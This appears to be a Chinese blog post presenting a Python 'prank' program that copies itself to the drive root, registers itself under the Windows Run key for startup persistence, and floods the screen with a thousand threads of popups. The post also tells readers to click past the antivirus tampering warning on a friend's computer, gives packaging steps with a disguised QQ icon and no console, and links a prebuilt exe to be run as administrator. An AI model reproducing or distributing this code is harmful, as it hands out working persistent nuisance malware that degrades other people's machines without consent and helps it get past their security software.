Python無限彈窗,打包爲exe程序開機自啓動,娛樂小程序。git
import tkinter as tk import random,threading,win32api,win32con, shutil,os,sys def Mymovefile(): #移動程序到當前分區下命名爲 ARE_YOU_OKAY.exe。朋友問刪了爲何還會執行。固然是由於有備份,玩夠了就在分區下面刪除這個吧。 if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe'): #看當前分區下有沒有 shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe') # 移動文件 class AutoRun(): #設置爲開機自啓程序######《《《《第一次360會提示篡改程序,在朋友的電腦上幫他肯定一下。之後開機都會執行》》》》 def __init__(self): name = 'lalalulala' # 要添加的項值名稱 path = os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe' # 要添加的exe路徑 KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run' key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path) win32api.RegCloseKey(key) def Play(): #展現的效果 window = tk.Tk() width = window.winfo_screenwidth() height = window.winfo_screenheight() a = random.randrange(20, width) b = random.randrange(20, height) window.title('給你看個小病毒') window.geometry("400x100" + "+" + str(a) + "+" + str(b)) tk.Label(window, text='你吃飯了嗎?', # 標籤的文字 bg='Red', # 背景顏色 font=('楷體', 17), # 字體和字體大小 width=466, height=4 # 標籤長寬 ).pack() # 固定窗口位置 window.mainloop() threads = [] if __name__=="__main__": Mymovefile() AutoRun() for i in range(1000): #依電腦性能調值大;千萬不要 while True: t = threading.Thread(target=Play) t.start()
程序打包
1,Python 腳本打包成能夠直接雙擊運行的 .exe 文件
win+R 輸入powershell,
pip3 install pyinstaller
pip install pypiwin32
pyinstaller -F -i qq.ico -w curl.py #-F指定exe程序,-i icon圖標,-w,無控制檯github
本人編輯好的exe程序
https://raw.githubusercontent.com/xiaoxuenice/xiaoxue/master/Play.exe
以管理員身份運行
可用圖標轉換器更換一下圖標
shell